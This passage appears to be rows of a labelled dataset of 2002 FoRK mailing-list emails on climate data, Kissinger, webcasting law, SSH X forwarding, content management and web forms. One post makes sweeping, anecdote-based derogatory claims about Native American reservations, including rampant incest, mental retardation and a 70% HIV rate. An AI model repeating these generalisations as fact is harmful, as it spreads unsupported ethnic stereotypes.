years. Also correct -- the peak of each cycle is at about 290-300 ppm CO2. > As it > happens, current CO2 concentrations are within 10% of other previous > cyclical concentration peaks for which we have good data. Not correct. Mauna Loa data and show that the current CO2 concentrations are at 370ppm, 18% *greater* than the *highest* recorded value from the past 400k years. Furthermore, CO2 concentrations are growing at 15ppm every 10 years, much faster than any recorded increase in the Vostok data (though perhaps the Vostok data isn't capable of such fine resolution). > In other words, we may be adding to the CO2 levels, No, we are *definitely* adding to CO2 levels. Look at the following chart: http://www.grida.no/climate/vital/07.htm (Shows CO2 concentrations since 1870, the ""historical record""). Not only is the CO2 increase over 130 years unprecedented in the Vostok record, it is clear that the rate of change is *increasing*, not decreasing. There is no other compelling explanation for this increase, except for anthropogenic input. You're really out on the fringe if you're debating this -- even global warming skeptics generally concede this point. > but it looks a lot like we > would be building a molehill on top of a mountain in the historical > record. At the very least, there is nothing anomalous about current CO2 > concentrations. Wrong again. Current CO2 levels are currently unprecedented over the past 400k years, unless there is some mechanism that allows CO2 levels to quickly spike, and then return back to ""normal"" background levels (and hence the spike might not show up in the ice cores). Still, by around 2075-2100 we will have reached 500 ppm CO2, a level that even you would have a hard time arguing away. > Also, CO2 levels interact with the biosphere in a manner that ultimately > affects temperature. Again, the interaction is not entirely > predictable, but this is believed to be one of the regulating negative > feedback systems mentioned above. Yes, clouds and oceans are a big unknown. Still, we know ocean water has a finite capacity to store CO2, and if the world temperature doesn't increase, but we all have Seattle-like weather all the time, the effects would be enormous. > Last, as greenhouse gases go, CO2 isn't particularly potent, although it > makes up for it in volume in some cases. Gases such as water and > methane have a far greater impact as greenhouse gases on a per molecule > basis. Water vapor may actually be the key greenhouse gas, something > that CO2 only indirectly effects through its interaction with the > biosphere. Correct. Data on relative contributions of greenhouse gasses: http://www.grida.no/climate/vital/05.htm Note that methane concentrations now are *much* higher than pre-industrial levels (many cows farting, and rice paddies outgassing), and methane is also a contributor in the formation of atmospheric water vapor. Another clearly anthropogenic increase in a greenhouse gas. I'm in favor of reductions in methane levels as well. Data on water vapor here: http://www.agu.org/sci_soc/mockler.html > CO2 was an easy mark for early environmentalism, but all the recent > studies and data I've seen gives me the impression that it is largely a > passenger on the climate ride rather than the driver. I tend to think that holistic, and techical approaches would work best in reducing global warming. I favor an energy policy that has a mix of solar, wind and nuclear, with all carbon-based combustion using renewable sources of C-H bonds. Aggressive pursuit of carbon sink strategies also makes sense (burying trees deep underground, for example). Approaches that involve reductions in lifestyle to a ""sustainable"" level are unrealistic -- Americans just won't do it (you'd be surprised at the number of climate change researchers driving SUVs). But, as California showed during last year's energy crisis, shifts in patterns of consumption are possible, and improved efficiency is an easy sell. - Jim",0,1 Dave Long ,fork@spamassassin.taint.org,"Wed, 25 Sep 2002 15:40:12 -0700",Kissinger,"[can't think of how I'd be running afoul of the spam filters with this post, so here's the second try...] Kissinger's book _Does America Need a Foreign Policy?_ provides a few handy abstractions: > The ultimate dilemma of the statesman is to strike a balance between > values [""idealism""] and interests [""realism""] and, occasionally, > between peace and justice. Also, he views historical American approaches to foreign policy as a bundle of three fibers: Hamiltonian - We should only get involved in foreign adventures to preserve balances of power. Wilsonian - We should only get involved in foreign adventures to further democracy, etc. Jacksonian - We should never get involved in foreign adventures. Unless we're attacked. Then we go Rambo. He has tactfully left out the hard realists*; as for the rest I gather wilsonians play the idealists, and hamiltonians act where values and interests intersect, and jacksonians act only when values and interests overlap. Kissinger himself seems to be a Hamiltonian; much of the book is about how he thinks we ought to be shaping the balance of power in various foreign regions. Maybe I've been too affected by Kant, but I can't see that such a strategy works unless one can count on a Bismarck runnning it: how lopsided does the US look if everyone tries to run a balance of power politics? - -Dave * > The road to empire leads to domestic decay because, in time, the claims > of omnipotence erode domestic restraints. No empire has avoided the > road to Caesarism unless, like the British Empire, it devolved its > power before this process could develop. In long-lasting empires, > every problem turns into a domestic issue [which should be handled > very differently from international ones] because the outside world > no longer provides a counterweight. And as challenges grow more > diffuse and increasingly remote from the historic domestic base, > internal struggles become ever more bitter and in time violent. > A deliberate quest for hegemony is the surest way to destroy the > values that made the United States great. Kings and tyrants generically have followed the same power politics: garner popular support by keeping potential oligarchs down. In other traditions, a king is a legitimate tyrant, and a tyrant an illegitimate king. In the US, I'd hope that we, like Samuel, wouldn't naturally make such fine distinctions.",0,0 Tom ,fork@spamassassin.taint.org,"Wed, 25 Sep 2002 18:45:29 -0400 (EDT)",Re: Digital radio playlists are prohibited?!,"--] --] Anyone heard of this law before? Back when I was running the WSMF shoutcast server these restrictions were just being placed on netcasters. Most folks laughed it off. Now with the license fees its not laughable anymore. If you pay the fee you are bound to the restrictions, if you dont your running the criminal line. I still run a stream up on live365. Its been playing the same 10 hour block of Jean Shepard shows for the last year. I really should change them up. If I were going to do the old WSMF shoutcast now adays I would either spend lots of time going over regulations to see what I can or cannot do or I would just chuck the regs out and do what I want. Or I might write some apps to stay in regs ..I dont know..one thing is for sure it defiently takes the spontaneous edge off things:)- F Murray Abraham F Scott Fitzgerald F Hillary Rossen -tom",0,0 Lucas Gonze ,Gordon Mohr ,"Wed, 25 Sep 2002 18:52:09 -0400 (EDT)",Re: The Great Power-Shortage Myth,"On Wed, 25 Sep 2002, Gordon Mohr wrote: > In contrast, take a look at this article by Simon J. Wilkie of > Caltech: Wow, that Wilkie article is the single best explanation I've seen. The open question is whether any analysis before the fact warned the politicians, or whether the politicians were forewarned and went ahead. What did they know and when did they know it?",0,0 James Rogers ,fork@spamassassin.taint.org,25 Sep 2002 16:15:52 -0700,Re: Digital radio playlists are prohibited?!,"On Wed, 2002-09-25 at 13:34, bitbitch@magnesium.net wrote: > > This, kiddies was apparently the legislative beginnings of the whole > streaming audio-gets-spanked-by-fees ruling that came down in the > earlier parts of this year. This first act applied to non-exempt, > non-subscription transmission services. When Congress got around in > 1998 and realized that webcasting services -might- be different > (though I honestly can't see how) they wrote in the provision through > the DMCA to include such transmissions. The restrictive law regarding audio is actually the accumulated cruft of 30 years of various legislative acts. The totality of what we have now come from various parts of all the following re: sound recordings: 1998 - DMCA 1995 - Digital Performance Right in Sound Recordings Act 1992 - Audio Home Recording Act 1976 - Copyright Act amendment 1972 - Copyright Act amendment It is worth noting that many people have forgotten about the 1976 Copyright Act Amendment which created the foundational law stating that the copyright owners have the right to limit personal use of audio recordings after First Sale even if you are not ""making copies"" in any commercial sense. Sound recordings, for many intents and purposes, are explicitly excluded from Fair Use by the 1976 amendment. -James Rogers jamesr@best.com",0,0 """Joseph S. Barrera III"" ",FoRK ,"Wed, 25 Sep 2002 16:01:20 -0700",dumb question: X client behind a firewall?,"Let's say you're behind a firewall and have a NAT address. Is there any way to telnet to a linux box out there in the world and set your DISPLAY in some way that you can create xterms on your own screen? - Joe -- That girl became the spring wind She flew somewhere, far away Undoing her hair, lying down, in her sleep She becomes the wind.",0,0 Bill Humphries ,fork@spamassassin.taint.org,"Wed, 25 Sep 2002 16:22:40 -0700","""Free"" Elvis Costello CD a trojan horse for DRM malware",A friend in Dublin is mailing me the CD which was in the UK Sunday Times. I've just been advised that running it in a Win32 machine is dangerous as all get out. http://www.theregister.co.uk/content/4/27232.html -- whump ---- Bill Humphries http://www.whump.com/moreLikeThis/,0,1 Karl Anderson ,"""Joseph S. Barrera III"" ",25 Sep 2002 17:17:19 -0700,Re: dumb question: X client behind a firewall?,"""Joseph S. Barrera III"" writes: > Let's say you're behind a firewall and have a NAT address. > Is there any way to telnet to a linux box out there in the world > and set your DISPLAY in some way that you can create > xterms on your own screen? Assuming your local display is X, SSH. -- Karl Anderson kra@monkey.org http://www.monkey.org/~kra/",0,1 """Joseph S. Barrera III"" ",FoRK ,"Wed, 25 Sep 2002 17:40:54 -0700",Re: dumb question: X client behind a firewall?,"Wow, three replies already, all recommending ssh. Thanks! - Joe Back in my day, they didn't have ssh. Then again, back in my day, they didn't have firewalls. And I still miss X10's active icons.",0,0 """Jeff Barr"" ",,"Thu, 26 Sep 2002 05:32:01 -0700",Re: Digital radio playlists are prohibited?!,"> Subject: Re: Digital radio playlists are prohibited?! > From: James Rogers > To: fork@spamassassin.taint.org > Date: 25 Sep 2002 12:52:15 -0700 > > On Wed, 2002-09-25 at 01:19, Rohit Khare wrote: > > Anyone heard of this law before? > > > Absolutely. More accurately, it is part of the RIAAs ""regulation"" for > broadcasting music under their auspices. This is actually part of the > default statutory license the RIAA is compelled to issue. You can try > and establish your own contract with each of the individual publishers > in addition to the writers, but that is a Herculean undertaking in its > own right. The details are really gross and complicated. Perhaps the stations cannot publish digital playlists, but you can get them from www.starcd.com anyway. They use some sort of listening and recognition technology to identify the music played on over 1000 US radio stations. Jeff;",0,0 Eugen Leitl ,"""Joseph S. Barrera III"" ","Thu, 26 Sep 2002 16:08:14 +0200 (CEST)",Re: dumb question: X client behind a firewall?,"On Wed, 25 Sep 2002, Joseph S. Barrera III wrote: > Let's say you're behind a firewall and have a NAT address. > Is there any way to telnet to a linux box out there in the world > and set your DISPLAY in some way that you can create > xterms on your own screen? As other people suggested: SSH. PuTTY http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html can do it. Can run, say xclock (I'm running an X server under W32 at work, tunneling through a NAT box), but from Linux, not from Solaris. Probably OpenSSH misconfigurat5ion.",0,1 James Rogers ,fork@spamassassin.taint.org,"Fri, 27 Sep 2002 00:23:39 -0700",Native American economics (was Re: sed /s/United States/Roman,"I wanted to get back to this but didn't have the time. I actually lived on a couple different Indian reservations growing up in the Pacific Northwest and also spent a fair amount time in Lakota/Sioux country as well. And my parents have lived on an even more diverse range of Indian reservations than I have (my experience being a direct result of living with my parents). I do get a lot of my information first-hand, or in some cases, second-hand from my father. The income figures for the Indians are somewhat misleading, mostly because it is really hard to do proper accounting of the effective income. While it is true that some Indians live in genuine poverty, it is typically as a consequence of previous poor decisions that were made by the tribe, not something that was impressed upon them. The primary problem with the accounting is that there is a tribal entity that exists separately from the individuals, typically an ""Indian Corporation"" of one type or another where each member of the tribe owns a single share (the details of when and how a share becomes active varies from tribe to tribe). In most tribes, a dividend is paid out to each of the tribal members from the corporation, usually to the tune of $10-30k per person, depending on the tribe. The dividend money comes from a number of places, with the primary sources being the Federal Gov't and various businesses/assets owned by the Indian corporation. You have to understand a couple things: First, a great many Indian tribes are run as purely communist enterprises. Everyone gets a check for their share no matter what. One of the biggest problems this has caused is very high unemployment (often 70-90%) for tribal members, who are more than happy take their dividend and not work. The dividend they receive from the corporation often constitutes their sole ""income"" for government accounting purposes. Unfortunately, to support this type of economics when no one works, they've had to sell off most of their useful assets to maintain those dividends. Many of the tribes genuinely living in poverty do so because they have run out of things to sell yet nobody works. One of the ironies is that on many of the reservations where the tribes still have assets to burn, many of the people working in the stores and such are actually poor white folk, not Indians. Second, even though the tribe members each get a cash dividend, they also receive an enormous range of benefits and perks from the Indian corporation to the tune of tens of thousands of dollars per person annually. By benefits and perks, we are talking about the kinds of things no other ordinary American receives from either their employer or the government. It should be pointed out that while many of these Indian corporations are ineptly run, and mostly provide sinecures for other Indians, a minority are very smartly managed and a few hire non-Indian business executives with good credentials to run their business divisions. An example of this is the Haida Corporation, which while having less 1,000 tribal shareholders, has billions of dollars in assets and the various corporations they own have gross revenues in the $200-300 million range (and growing). Yet the dividend paid out is strictly controlled, about $20k in this particular case, and they engaged in a practice of waiting a couple decades before drawing money from any of the assets they were granted which has led to intelligent investment and use. They don't eat their seed corn, and have actually managed to grow their stash. In contrast, a couple islands over, there is another tribe of ~2,000 people that has a net loss of about $50 million annually IIRC while being regularly endowed by the Federal government with several billions of dollars in valuable assets. This particular tribe has a modest income in theory, but the actual expenditures per person annually is in the hundreds of thousands of dollars, and many borrow money against future income. Incidentally, in this particular case, the people that ARE working frequently pull in a few hundred thousand dollars a year, much of which goes back to the tribal corporation rather than their own pockets. Somewhat annoying, the Federal government semi-regularly grants valuable assets to these tribes when they've burned through the ones previously given where feasible, typically selling the assets to American or foreign companies. And the cycle continues. So what is the primary problem for the tribes that have problems? In a nutshell, a thoroughly pathological culture and society. Few women reach the age of 16 without getting pregnant. Incest, rape, and gross promiscuity is rampant. Inbreeding, heavy drug abuse during pregnancy, and other environmental factors have created tribes where a very substantial fraction of the tribe is literally mentally retarded. Many of the thoughtful and intelligent tribe members leave the reservation at the earliest opportunity, mostly to avoid the problems mentioned above. On one reservation my parents lived, the HIV infection rate was >70%. Many of these societies are thoroughly corrupt, and the administration of the law is arbitrary and capricious (they do have their own judges, courts, police etc). In short, many of these tribes that are still hanging together are in a shambles because they have become THE most pathological societies that I have ever seen anywhere. Because of their legal status, there really aren't that many consequences for their behavior. There are many things that I could tell you that I've seen that you probably would not believe unless you'd seen it yourself. There are always good people in these tribes, but it has gotten to the point where the losers and idiots outnumber the good guys by a fair margin many times, and this IS a mobocracy typically. (BTW, if any of you white folk wants to experience overt and aggressive racism as a minority in a place where the rule of law is fiction and the police are openly thugs, try living on one of these messed up Indian reservations. It will give you an interesting perspective on things.) There are only two real situations where you find reasonably prosperous Indians. The first is in the rare case of tribes run by disciplined and intelligent people that have managed their assets wisely. The second is where the tribe has dispersed and assimilated for the most part, even if they maintain their tribal identity. In both of these cases, the tribal leaders reject the insular behavior that tends to lead to the pathological cases mentioned above. The Indians are often quite wealthy technically, and a lot of money is spent by the tribe per capita. And the actual reportable income is quite high when you consider how many are living entirely off the tribal dole. It is just that their peculiar economic structure does not lend itself well to ordinary economic analysis by merely looking at their nominal income. The poverty is social and cultural in nature, not economic. This was my original point. On a tangent: One thing that has always interested me is the concept of quasi-tribal corporate socialism. Many Indian tribes implement a type of corporate socialism that is mind-bogglingly bad in execution. That they use this structure at all is an accident of history more than anything. But what has interested me is that the very smartly managed ones do surprisingly well over the long run. It is like a Family Corporation writ large. It seems that in a future where ""familial"" ties will be increasingly voluntary, the general concept may have some merit in general Western society, serving to create a facsimile of a biological extended family with the included dynamics, but with an arbitrary set of self-selecting individuals. Damn that was long (and its late), and it could have been a lot longer. -James Rogers jamesr@best.com On 9/22/02 3:53 PM, ""John Hall"" wrote: > > As I understand it, there is a huge difference between native Americans > who speak english at home and those who do not. I don't have figures > that separate those at hand, though. > > 1989 American Indians (US Pop as a whole) -- Families below poverty > 27.2% (10%), Persons below poverty 31.2 (13.1), Speak a language other > than English 23 (13.8) Married couple families 65.8 (79.5) Median family > income $21,619 ($35,225) Per Capita $8,284 ($14,420).",0,0 """John Hall"" ","""FoRK"" ","Thu, 26 Sep 2002 16:37:27 -0700",RE: Liberalism in America,"In essence, hindsight justification. The progressives weren't in the middle, they were in a society at one end and they wanted a society at the other end. The middle is more or less where they got stopped. As to an intervention that worked, I actually have some nice things to say about the SEC, at least in theory. I have a few nasty things to say as well, but on the whole it has been a very good thing. > -----Original Message----- > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of Geege > Schuman > Sent: Tuesday, September 24, 2002 6:37 PM > To: fork@spamassassin.taint.org > Subject: Liberalism in America > > liberalism > propagandized as meddling > in truth, the middle > > ""American liberalism believes that in this respect it has made a major > contribution to the grand strategy of freedom. Where both capitalists and > socialists in the 1930's were trying to narrow the choice to either/or -- > either laissez-faire capitalism or bureaucratic socialism -- the New Deal > persisted in its vigorous faith that human intelligence and social > experiment could work out a stable foundation for freedom in a context of > security and for security in a context of freedom. That faith remains the > best hope of free society today."" > > fluid yet crunchy, > gg > > > > > http://www.english.upenn.edu/~afilreis/50s/schleslib.html",0,1 Bill Humphries ,"""Jim Whitehead"" ","Fri, 27 Sep 2002 12:18:52 -0700","Re: OSCOM Berkeley report: Xopus, Bitflux, Plone, Xoops","On Friday, September 27, 2002, at 11:17 AM, Jim Whitehead wrote: > I attended the OSCOM Open Source Content Management workshop at > Berkeley > yesterday. I really wanted to go to this, especially to look at XOPUS. Unfortunately, we're launching a new intranet at work next week and I couldn't get away. XOPUS + an XML native DB such as Xindice looks like something that could hit a home run. -- whump ""I have a theory, it could be bunnies.""",0,0 """Jim Whitehead"" ","""Robert Harley"" , ","Fri, 27 Sep 2002 12:33:23 -0700",RE: The Big Jump,"Adjournment of Michel Fournier's big Jump in May, 2003. Two attempts of launch failed : the first because of the wind which got up prematurely and the second due to a technical hitch during the inflating of the envelope. The team of the Big Jump, folds luggage, having waited up to the end for an opportunity for the launch of the balloon stratosphrique allowing to raise the capsule pressurized by Michel Fournier at more than 40 000 metres in height. As expected, in the date of September 20, the jets stream strengthened in 300 kph announcing the imminent arrival of the winter and closing until next May the meteorological window favorable to a human raid in the stratosphere. On the plains of Saskatchewan, the first snows are waited in the days which come.Meeting in all in May, 2003. > Today a French officer called Michel Fournier is supposed to get in a > 350-metre tall helium balloon, ride it up to the edge of space (40 km > altitude) and jump out. His fall should last 6.5 minutes and reach > speeds of Mach 1.5. He hopes to open his parachute manually at the > end, although with an automatic backup if he is 7 seconds from the > ground and still hasn't opened it. > > R > > ObQuote: > ""Veder, si aver si grossi li coglioni, come ha il re di Franza."" > (""Let's see if I've got as much balls as the King of France!"") > - Pope Julius II, 2 January 1511",0,0 """Max Dunn"" ","""'FoRK'"" ","Fri, 27 Sep 2002 21:15:36 -0700","RE: OSCOM Berkeley report: Xopus, Bitflux, Plone, Xoops","I attended the same conference, and was impressed by a few systems that Jim didn't mention. In terms of CMS, the following all had apparently been used in some fairly large implementations and looked like some pretty strong competition to commercial systems: - Midgard, http://www.midgard-project.org/ , a PHP-based content management framework that with other programs combines to be a full CMS - Redhat CCM CMS, Java-based: http://www.spamassassin.taint.org/software/ccm/cms/ - OpenCMS, Java-based: http://www.opencms.org There was agreement that usability has not generally been an open source strength, but both Plone and Xopus represented some real movement towards improving that situation. I was impressed by the spectrum of perspectives on XML. Some took for granted that XSLT was relevant to content management, others took it just as for granted that XSLT was irrelevant and seemed happy to ignore XML almost completely. I attended realizing that ""content management"" is generally used to apply to *Web* content management, but I was still a bit shocked how completely out of scope document management was (almost no consideration of the potential print/PDF dimension to content other than the occasional ""...and you can use FOP to make PDF"" as if that was functional): this seems more the case in open source content management than in commercial content management, and probably makes XML easier to ignore (if HTML is the be-all and end-all of the output...). The honesty was refreshing, Phil Suh complained about the state of current tools (both open source and commercial), and I wish I'd written down what he said, something like ""it sucks so extremely, it sucks so widely, and it is so generally sucking, that it seems sometimes there is no hope."" For a moment there was contemplation that perhaps commercial systems scaled so well that the commercial ""big boys"" were really much more functional than open source, until someone pointed out, ""OK, take some average blog software, spend $500,000 on the rollout... it'll scale pretty well."" Another quote (citing Brendan Quinn): ""content management problems are either trivial or impossible."" Mac OS X is getting popular, of the laptops there it was an even 1/3 each of Mac, Linux, Windows. I am sure it wasn't news to Jim, but I can't wait to try Subversion, a CVS replacement that supports some of the newer features of WebDAV: http://subversion.tigris.org/ I'm also eager to try Xopus, I hope the developers make it back home safely, they said they'd only been in America four days but were already homeless... Max",0,1 Gregory Alan Bolcer ,FoRK ,"Sat, 28 Sep 2002 08:18:17 -0700",EBusiness Webforms: cluetrain has left the station,"What's wrong with doing business over the Web? Web forms. There's promising replacements forms, but this is the current state of the industry: o You find something that you want to fill out. It's a partnership form, a signup for a Web seminar, a request for more information, anything. o You start wasting time typing in all those stupid fields and spend about 10 minutes going through all their stupid qualification hoops just to get a small piece of information , whitepaper, or a callback when halfway through, you start to wonder if it's really worth your time to forever be stuck on their stupid prospect list. o Pull down tags are never put in order of use instead of alphabetized. I was on a site just now that had every single country in the world listed; the selection of your country was absolutely critical for you to hit submit, but due to the layout, the ""more>"" tag on the second row was offscreen so it was impossible to select any country except about two dozen third world countries. o Even worse, ever time you hit submit, all forms based things complain about using the universal country phone number format and will cause you to re-enter dashes instead of dots. o When you get something that's not entered right, you will go back and enter it right, but then some other field or most likely pulldown will automatically get reset to the default value so that you will have to go back and resent that freaking thing too. Finally after all combinations of all pulldowns, you may get a successful submit. o You wait freaking forever just to get a confirmation. o Sometimes, like today, you won't be able to ever submit anything due to it being impossible to ever submit a valid set of information that is internally non-conflicting according to whatever fhead wrote their forms submission. What's wrong with this picture? The company is screwing you by wasting your time enforcing their data collection standards on you. I'm sure there's someone in that company that would be willing to accept ""US"", ""U.S"", ""USA"" ""United States"", ""U of A"", ""America"", etc. and would know exactly which freaking country the interested party was from instead of forcing them to waste even more time playing Web form geography. I'm starting to see the light of Passport. You want more information? Hit this passport button. Voila. IE6 and Netscape 6,7 have pre-forms sutff, but I always turn it off because you never know when there's that one field that you don't want to submit to the person you are submitting to that automatically gets sent, i.e. the privacy stuff is well beyond the average user who will get screwed on privacy stuff. So, if crappy forms-based submission is the state of practice for business enablement on the Web, I can't see this whole data submission and hurry up and wait for us to get back to you business process as working all that well. Greg",0,0 Chris Haun ,Gregory Alan Bolcer ,"Sat, 28 Sep 2002 12:21:17 -0400 (EDT)",Re: EBusiness Webforms: cluetrain has left the station,"I'll agree that webforms are a pain in the ass, however it would seem to me that the problem with passport is the same one you noted with the autoform function, providing more info than you want to. That and some entity would be holding the passport info, thus have all that data in the first place. Personally i'd never trust them not to at least use it internally to market to me, if not sell/rent out. Just think of the ability they'd have to build a profile for you since everything you went to was tracked to you. And thats just the marketing side of it. Chris On Sat, 28 Sep 2002, Gregory Alan Bolcer wrote: > What's wrong with doing business over the Web? Web forms. There's > promising replacements forms, but this is the current state of the > industry: > > o You find something that you want to fill out. It's a partnership form, > a signup for a Web seminar, a request for more information, anything. > o You start wasting time typing in all those stupid fields and spend > about 10 minutes going through all their stupid qualification hoops > just to get a small piece of information , whitepaper, or a callback > when halfway through, you start to wonder if it's really worth your > time to forever be stuck on their stupid prospect list. > o Pull down tags are never put in order of use instead of alphabetized. > I was on a site just now that had every single country in the world > listed; the selection of your country was absolutely critical for you > to hit submit, but due to the layout, the ""more>"" tag on the second > row was offscreen so it was impossible to select any country except > about two dozen third world countries. > o Even worse, ever time you hit submit, all forms based things complain > about using the universal country phone number format and will cause > you to re-enter dashes instead of dots. > o When you get something that's not entered right, you will go back and > enter it right, but then some other field or most likely pulldown will > automatically get reset to the default value so that you will have to > go back and resent that freaking thing too. Finally after all combinations > of all pulldowns, you may get a successful submit. > o You wait freaking forever just to get a confirmation. > o Sometimes, like today, you won't be able to ever submit anything due > to it being impossible to ever submit a valid set of information that > is internally non-conflicting according to whatever fhead wrote their > forms submission. > > What's wrong with this picture? The company is screwing you by wasting > your time enforcing their data collection standards on you. I'm sure there's > someone in that company that would be willing to accept ""US"", ""U.S"", ""USA"" > ""United States"", ""U of A"", ""America"", etc. and would know exactly which > freaking country the interested party was from instead of forcing them > to waste even more time playing Web form geography. > > I'm starting to see the light of Passport. You want more information? Hit > this passport button. Voila. IE6 and Netscape 6,7 have pre-forms sutff, > but I always turn it off because you never know when there's that one field > that you don't want to submit to the person you are submitting to that > automatically gets sent, i.e. the privacy stuff is well beyond the > average user who will get screwed on privacy stuff. > > So, if crappy forms-based submission is the state of practice for > business enablement on the Web, I can't see this whole data submission > and hurry up and wait for us to get back to you business process as > working all that well. > > > Greg >",0,0 Gary Lawrence Murphy ,gbolcer@endeavors.com,28 Sep 2002 15:54:42 -0400,Re: EBusiness Webforms: cluetrain has left the station,">>>>> ""G"" == Gregory Alan Bolcer writes: G> So, if crappy forms-based submission is the state of practice G> for business enablement on the Web, I can't see this whole data G> submission and hurry up and wait for us to get back to you G> business process as working all that well. I love this business. If a bridge falls over, the architect or the engineer is in court the next day, but when a /software/ bridge falls over, we blame the air beneath it, or the phase of the moon, or (more often) the people walking on it. ""What idiots! Don't they know you're supposed to walk on the /balls/ of your feet, not lead with your heels? Didn't they read the blueprints? They were posted in the town hall. Any idiot would know the 0.75Hz heel cadence would pop rivets on the structural supports! Geez. Pedestrians are /so/ stupid."" Ours is the /only/ industry that can hold itself 100% un-responsible for any and all sloth-inflicted doom, and the only industry which can /also/ get away with feeding this myth of infallibility unquestioned to the media, to investors, to students and to each other. ""God I hate telephones. Telephones are stupid. I used a telephone to, like, call my broker yesterday, and y'know, just /after/ I'd ordered those 2000 shares of Nortel ..."" You just gotta love a mass-delusion like that. Although it's like a total shock to 99.999% (5nines) of all the employed website designers out there, the truth is webforms /can/ accept ""U.S. of A"" as a country. Incredible, but true. Web forms can also accept /multiple/ or even /free-form/ telephone numbers and can even be partitioned into manageable steps. All this can also be done without selling exclusive rights to your wallet to the World's Second-Richest Corporation (assuming Cisco is still #1) and vendor locking your business into their ""small transaction fee"" tithe. Of course, try and tell one of those 5-niners that and they'll get all defensive, black list you as a sh*t disturber and undermine your reputation with the boss... not that I'm speaking first-hand or anything ;) -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Bill Humphries ,Gary Lawrence Murphy ,"Sat, 28 Sep 2002 14:37:19 -0700",Re: EBusiness Webforms: cluetrain has left the station,"On Saturday, September 28, 2002, at 12:54 PM, Gary Lawrence Murphy wrote: > Although it's like a total shock to 99.999% (5nines) of all the > employed website designers out there, the truth is webforms /can/ > accept ""U.S. of A"" as a country. Incredible, but true. Web forms can > also accept /multiple/ or even /free-form/ telephone numbers and can > even be partitioned into manageable steps. All this can also be done > without selling exclusive rights to your wallet to the World's > Second-Richest Corporation (assuming Cisco is still #1) and vendor > locking your business into their ""small transaction fee"" tithe. Yes, but this is what normally happened: Engineer: we can put an input validator/parser on the backend to do that. Designer: there's a JavaScript library that can do some of the pre-validation. Creative Director: I want it in blue, with a zooming logo. Engineer: can we get to that later, we need to meet functional specs. Creative Director: You *don't* understand. *I* want it in blue. Creative Director: Oh, and the site launches this Friday because I sent out a press release about our new strategic partnership with HypeCorp. Designer: fine, we'll just put a list of countries in a drop down. Engineer: and we can validate against that list. Creative Director: I don't give a shit. As long as it's in blue. And has a link to my press release. ---- Bill Humphries http://www.whump.com/moreLikeThis/",0,1 Udhay Shankar N ,"gbolcer@endeavors.com, FoRK ","Sat, 28 Sep 2002 23:25:21 +0530",Re: EBusiness Webforms: cluetrain has left the station,"At 08:18 AM 9/28/02 -0700, Gregory Alan Bolcer wrote: >IE6 and Netscape 6,7 have pre-forms sutff, >but I always turn it off because you never know when there's that one field >that you don't want to submit to the person you are submitting to that >automatically gets sent, i.e. the privacy stuff is well beyond the >average user who will get screwed on privacy stuff. Opera 6 has an interesting way around this. You just right-click on each field and bring up a choice of prefilled local information that you can then choose to enter into the form. Now if they can just fix the $@!$@$# irritating memory problems that Opera6 has....Hakon, you listening? Udhay -- ((Udhay Shankar N)) ((udhay @ pobox.com)) ((www.digeratus.com))",0,0 Gary Lawrence Murphy ,Bill Humphries ,28 Sep 2002 19:37:42 -0400,Re: EBusiness Webforms: cluetrain has left the station,">>>>> ""B"" == Bill Humphries writes: B> Yes, but this is what normally happened: B> Engineer: we can put ... B> Designer: there's a ... B> Creative Director: I want it in blue ... Yup, seen it happen oodles of times, only all three of those folks are one and the same person. The fourth is the business manager who says ""whatever, so long as you do it on your own time"" -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Elias ,fork@spamassassin.taint.org,"Sun, 29 Sep 2002 09:02:59 -0700",Content management for MP3s,"Dear flatware, I'm about to undertake a massive project to index/catalog well over one thousand CDs that have been ripped to MP3 and set up a server to stream them to different rooms in the house. (Yes, I own them all, no I'm not broadcasting them to the 'net.) Can anyone give me some recommendations as to what (free? opensource?) software is best suited for this task? I know there are a few FoRKs out there who have tackled this problem before... I'd like to be able to dynamically generate play lists from queries like ""Jazz released between 1950 and 1960"" or ""Artist such and such between these dates"" or ""Just these artists"" or ""Just this genre"" - you get the idea. In addition to having multiple streams that I can tune in to (a la DMX), I'd like to be able to browse the database through a web interface from other computers in the house and pull specific music down to wherever I am. Thanks, Elias",0,0 Gregory Alan Bolcer ,FoRK ,"Sun, 29 Sep 2002 07:42:45 -0700",Re: EBusiness Webforms: cluetrain has left the station,"Gary Lawrence Murphy wrote: > > Although it's like a total shock to 99.999% (5nines) of all the > employed website designers out there, the truth is webforms /can/ > accept ""U.S. of A"" as a country. Incredible, but true. Web forms can > also accept /multiple/ or even /free-form/ telephone numbers and can > even be partitioned into manageable steps. All this can also be done > without selling exclusive rights to your wallet to the World's > Second-Richest Corporation (assuming Cisco is still #1) and vendor > locking your business into their ""small transaction fee"" tithe. Ah, but you've just gotten to the crux of the situation. There's good design and bad design. There's good testing and bad testing. The problem is, anyone can design a good Web form, but nobody does. I think ""best practices"" hasn't caught up on main street Web enablement yet. There's some really great packages on how to do this stuff and in fact the usability people knew that Web forms needed to be fixed 5 years ago, so that's why we got XForms and XHTML. You can shoot yourself in the foot and people usually do. What the problem is, they don't even recognize that they're gimpy--ever. They just keeping trundling along making a mess of everything assured in their job security that they can build Web forms without even caring if they can be used or not beyond their test machine. If you had a piece of software and a security warning came out 5 years ago on it, would you run that software? Wouldn't you have patched or upgraded something so fundamentally broken 4 years and 11 months ago? What I want to know is why would someone use Web forms best practices from 5 years ago? I mean you can get a college degree in that time. Imagine if the next version of Microsoft Windows or Red Hat Linux forced you to use a tiled window manager? Sure, tiled windows were the best we had for a brief period of time, but they are completely useless except for some terminal based replacement applications. The bottom line is, if you can't get across the bridge, then it's broken regardless of whose fault it really is, and it's the business that needs to take responsibility as they are the ones that wanted to put the bridge there in the first place. Greg",0,0 Udhay Shankar N ,"Elias , fork@spamassassin.taint.org","Sun, 29 Sep 2002 22:43:04 +0530",Re: Content management for MP3s,"At 09:02 AM 9/29/02 -0700, Elias wrote: >I'm about to undertake a massive project to index/catalog well over one >thousand CDs that have been ripped to MP3 and set up a server to stream >them to different rooms in the house. (Yes, I own them all, no I'm not >broadcasting them to the 'net.) Can anyone give me some recommendations as >to what (free? opensource?) software is best suited for this task? I know >there are a few FoRKs out there who have tackled this problem before... See if 